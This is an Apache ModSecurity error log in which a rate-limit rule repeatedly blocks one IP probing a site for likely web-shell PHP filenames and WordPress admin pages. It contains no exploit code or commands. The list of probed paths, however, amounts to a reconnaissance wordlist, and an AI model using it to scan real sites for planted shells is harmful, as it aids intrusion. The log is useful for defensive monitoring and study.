[Sat Feb 28 21:26:41.793512 2026] [:error] [pid 49763:tid 49773] [client 40.85.222.96:56812] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/10.php"] [unique_id "aaLtEbTHSOG_yf2PpqFzPAAAAcc"]
[Sat Feb 28 21:26:42.367689 2026] [:error] [pid 49763:tid 49773] [client 40.85.222.96:54956] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/10.php"] [unique_id "aaLtErTHSOG_yf2PpqFzSQAAAcc"]
[Sat Feb 28 21:26:43.359756 2026] [:error] [pid 49763:tid 49766] [client 40.85.222.96:54974] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v2.php"] [unique_id "aaLtE7THSOG_yf2PpqFzUwAAAcA"]
[Sat Feb 28 21:26:44.619543 2026] [:error] [pid 39183:tid 39207] [client 40.85.222.96:36693] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v2.php"] [unique_id "aaLtFBCf4HvhVePw3LZNEwAAAA8"]
[Sat Feb 28 21:26:46.048346 2026] [:error] [pid 39183:tid 39201] [client 40.85.222.96:36672] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v2.php"] [unique_id "aaLtFhCf4HvhVePw3LZNGwAAAAk"]
[Sat Feb 28 21:26:47.715173 2026] [:error] [pid 11791:tid 11807] [client 40.85.222.96:27375] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v2.php"] [unique_id "aaLtF2uX5e1Q32gqxH3I9AAAAQ4"]
[Sat Feb 28 21:26:49.209692 2026] [:error] [pid 39183:tid 39207] [client 40.85.222.96:58296] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kaduu.php"] [unique_id "aaLtGRCf4HvhVePw3LZNIwAAAA8"]
[Sat Feb 28 21:26:50.823135 2026] [:error] [pid 11791:tid 11808] [client 40.85.222.96:36688] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kaduu.php"] [unique_id "aaLtGmuX5e1Q32gqxH3I9wAAAQ8"]
[Sat Feb 28 21:26:51.695807 2026] [:error] [pid 11791:tid 11803] [client 40.85.222.96:58271] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kaduu.php"] [unique_id "aaLtG2uX5e1Q32gqxH3JBQAAAQo"]
[Sat Feb 28 21:27:15.583534 2026] [:error] [pid 52460:tid 52468] [client 40.85.222.96:52151] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/qoepq.php"] [unique_id "aaLtM7LWOogAgHGh62SOvgAAAYU"]
[Sat Feb 28 21:27:18.528484 2026] [:error] [pid 49763:tid 49769] [client 40.85.222.96:47648] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/qoepq.php"] [unique_id "aaLtNrTHSOG_yf2PpqFzwwAAAcM"]
[Sat Feb 28 21:27:20.104684 2026] [:error] [pid 11791:tid 11806] [client 40.85.222.96:2215] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/qoepq.php"] [unique_id "aaLtOGuX5e1Q32gqxH3JJAAAAQ0"]
[Sat Feb 28 21:27:21.673788 2026] [:error] [pid 39185:tid 39264] [client 40.85.222.96:2745] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/qoepq.php"] [unique_id "aaLtORVE-FfM89u7BQakKAAAAJI"]
[Sat Feb 28 21:27:22.754508 2026] [:error] [pid 39292:tid 39318] [client 40.85.222.96:2649] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fodds.php"] [unique_id "aaLtOqIAO5fN7BxyqcGBTwAAANg"]
[Sat Feb 28 21:27:23.494946 2026] [:error] [pid 39183:tid 39204] [client 40.85.222.96:2998] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fodds.php"] [unique_id "aaLtOxCf4HvhVePw3LZNuQAAAAw"]
[Sat Feb 28 21:27:24.730302 2026] [:error] [pid 49763:tid 49775] [client 40.85.222.96:46348] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fodds.php"] [unique_id "aaLtPLTHSOG_yf2PpqFz4AAAAck"]
[Sat Feb 28 21:27:27.473731 2026] [:error] [pid 52460:tid 52469] [client 40.85.222.96:2984] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fodds.php"] [unique_id "aaLtP7LWOogAgHGh62SO3QAAAYY"]
[Sat Feb 28 21:27:28.419173 2026] [:error] [pid 39183:tid 39192] [client 40.85.222.96:2845] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gaigu.php"] [unique_id "aaLtQBCf4HvhVePw3LZN3QAAAAA"]
[Sat Feb 28 21:27:29.444352 2026] [:error] [pid 11791:tid 11793] [client 40.85.222.96:47210] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gaigu.php"] [unique_id "aaLtQWuX5e1Q32gqxH3JKAAAAQA"]
[Sat Feb 28 21:27:31.117320 2026] [:error] [pid 39183:tid 39198] [client 40.85.222.96:36672] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gaigu.php"] [unique_id "aaLtQxCf4HvhVePw3LZN7wAAAAY"]
[Sat Feb 28 21:27:33.313860 2026] [:error] [pid 49763:tid 49775] [client 40.85.222.96:42563] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gaigu.php"] [unique_id "aaLtRbTHSOG_yf2PpqFz8gAAAck"]
[Sat Feb 28 21:27:34.860405 2026] [:error] [pid 49763:tid 49787] [client 40.85.222.96:46448] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ad2.php"] [unique_id "aaLtRrTHSOG_yf2PpqFz9gAAAdU"]
[Sat Feb 28 21:27:37.021812 2026] [:error] [pid 39183:tid 39213] [client 40.85.222.96:45850] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ad2.php"] [unique_id "aaLtSRCf4HvhVePw3LZOFwAAABU"]
[Sat Feb 28 21:27:38.368344 2026] [:error] [pid 49763:tid 49775] [client 40.85.222.96:42580] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ad2.php"] [unique_id "aaLtSrTHSOG_yf2PpqF0AgAAAck"]
[Sat Feb 28 21:27:39.967493 2026] [:error] [pid 39184:tid 39221] [client 40.85.222.96:44818] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ad2.php"] [unique_id "aaLtS1tZF9Zd_U7easDHegAAAEI"]
[Sat Feb 28 21:27:41.989887 2026] [:error] [pid 39183:tid 39203] [client 40.85.222.96:40308] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sad8rd1.php"] [unique_id "aaLtTRCf4HvhVePw3LZOKQAAAAs"]
[Sat Feb 28 21:27:42.532787 2026] [:error] [pid 39292:tid 39311] [client 40.85.222.96:45408] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sad8rd1.php"] [unique_id "aaLtTqIAO5fN7BxyqcGBYQAAANE"]
[Sat Feb 28 21:27:43.331110 2026] [:error] [pid 49763:tid 49773] [client 40.85.222.96:44812] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sad8rd1.php"] [unique_id "aaLtT7THSOG_yf2PpqF0EwAAAcc"]
[Sat Feb 28 21:27:46.040296 2026] [:error] [pid 49763:tid 49778] [client 40.85.222.96:45416] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sad8rd1.php"] [unique_id "aaLtUrTHSOG_yf2PpqF0HgAAAcw"]
[Sat Feb 28 21:27:47.694435 2026] [:error] [pid 52460:tid 52467] [client 40.85.222.96:40242] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/user-new.php"] [unique_id "aaLtU7LWOogAgHGh62SO9gAAAYQ"]
[Sat Feb 28 21:27:48.344891 2026] [:error] [pid 39185:tid 39260] [client 40.85.222.96:45412] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/user-new.php"] [unique_id "aaLtVBVE-FfM89u7BQakQQAAAI4"]
[Sat Feb 28 21:27:50.186514 2026] [:error] [pid 39183:tid 39214] [client 40.85.222.96:45863] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/user-new.php"] [unique_id "aaLtVhCf4HvhVePw3LZORQAAABY"]
[Sat Feb 28 21:27:51.459355 2026] [:error] [pid 49763:tid 49783] [client 40.85.222.96:45329] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/user-new.php"] [unique_id "aaLtV7THSOG_yf2PpqF0MgAAAdE"]
[Sat Feb 28 21:27:52.785695 2026] [:error] [pid 39183:tid 39215] [client 40.85.222.96:45347] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asix.php"] [unique_id "aaLtWBCf4HvhVePw3LZOUgAAABc"]
[Sat Feb 28 21:27:54.215221 2026] [:error] [pid 49763:tid 49787] [client 40.85.222.96:45391] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asix.php"] [unique_id "aaLtWrTHSOG_yf2PpqF0TwAAAdU"]
[Sat Feb 28 21:27:56.379104 2026] [:error] [pid 39183:tid 39192] [client 40.85.222.96:45401] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asix.php"] [unique_id "aaLtXBCf4HvhVePw3LZOYgAAAAA"]
[Sat Feb 28 21:27:57.145104 2026] [:error] [pid 39183:tid 39214] [client 40.85.222.96:45383] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asix.php"] [unique_id "aaLtXRCf4HvhVePw3LZOZgAAABY"]
[Sat Feb 28 21:27:58.537149 2026] [:error] [pid 49763:tid 49781] [client 40.85.222.96:40244] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gems.php"] [unique_id "aaLtXrTHSOG_yf2PpqF0dgAAAc8"]
[Sat Feb 28 21:28:00.979853 2026] [:error] [pid 49763:tid 49772] [client 40.85.222.96:44855] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gems.php"] [unique_id "aaLtYLTHSOG_yf2PpqF0igAAAcY"]
[Sat Feb 28 21:28:02.989323 2026] [:error] [pid 39184:tid 39234] [client 40.85.222.96:44843] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gems.php"] [unique_id "aaLtYltZF9Zd_U7easDHggAAAE8"]
[Sat Feb 28 21:28:04.367710 2026] [:error] [pid 52460:tid 52480] [client 40.85.222.96:44866] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gems.php"] [unique_id "aaLtZLLWOogAgHGh62SPAAAAAZE"]
[Sat Feb 28 21:28:06.817783 2026] [:error] [pid 52460:tid 52474] [client 40.85.222.96:36147] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xxd.php"] [unique_id "aaLtZrLWOogAgHGh62SPCAAAAYs"]
[Sat Feb 28 21:28:08.504590 2026] [:error] [pid 39292:tid 39304] [client 40.85.222.96:44916] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xxd.php"] [unique_id "aaLtaKIAO5fN7BxyqcGBfQAAAMo"]
[Sat Feb 28 21:28:10.004655 2026] [:error] [pid 39185:tid 39247] [client 40.85.222.96:40248] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xxd.php"] [unique_id "aaLtahVE-FfM89u7BQakUQAAAIE"]
[Sat Feb 28 21:28:11.407063 2026] [:error] [pid 49763:tid 49766] [client 40.85.222.96:44907] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xxd.php"] [unique_id "aaLta7THSOG_yf2PpqF0ywAAAcA"]
[Sat Feb 28 21:28:12.665696 2026] [:error] [pid 49763:tid 49767] [client 40.85.222.96:45342] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2sx.php"] [unique_id "aaLtbLTHSOG_yf2PpqF01AAAAcE"]
[Sat Feb 28 21:28:32.376568 2026] [:error] [pid 39183:tid 39201] [client 40.85.222.96:45410] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/ms-edit.php"] [unique_id "aaLtgBCf4HvhVePw3LZPSwAAAAk"]
[Sat Feb 28 21:28:34.397479 2026] [:error] [pid 49763:tid 49789] [client 40.85.222.96:36134] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/ms-edit.php"] [unique_id "aaLtgrTHSOG_yf2PpqF1wQAAAdc"]
[Sat Feb 28 21:28:37.155959 2026] [:error] [pid 39183:tid 39199] [client 40.85.222.96:45344] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/ms-edit.php"] [unique_id "aaLthRCf4HvhVePw3LZPXQAAAAc"]
[Sat Feb 28 21:28:38.931518 2026] [:error] [pid 49763:tid 49789] [client 40.85.222.96:42564] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/ms-edit.php"] [unique_id "aaLthrTHSOG_yf2PpqF1-QAAAdc"]
[Sat Feb 28 21:28:41.410367 2026] [:error] [pid 39183:tid 39203] [client 40.85.222.96:42562] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/user-new.php"] [unique_id "aaLtiRCf4HvhVePw3LZPhAAAAAs"]
[Sat Feb 28 21:28:42.176019 2026] [:error] [pid 39183:tid 39215] [client 40.85.222.96:40192] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/user-new.php"] [unique_id "aaLtihCf4HvhVePw3LZPjgAAABc"]
[Sat Feb 28 21:28:43.591783 2026] [:error] [pid 39184:tid 39243] [client 40.85.222.96:42620] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/user-new.php"] [unique_id "aaLti1tZF9Zd_U7easDHvAAAAFg"]
[Sat Feb 28 21:28:45.194446 2026] [:error] [pid 49763:tid 49777] [client 40.85.222.96:44911] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/user-new.php"] [unique_id "aaLtjbTHSOG_yf2PpqF2IQAAAcs"]
[Sat Feb 28 21:28:46.911006 2026] [:error] [pid 52460:tid 52479] [client 40.85.222.96:44867] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/themes.php"] [unique_id "aaLtjrLWOogAgHGh62SPawAAAZA"]
[Sat Feb 28 21:28:49.661222 2026] [:error] [pid 39183:tid 39196] [client 40.85.222.96:45406] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/themes.php"] [unique_id "aaLtkRCf4HvhVePw3LZPqwAAAAQ"]
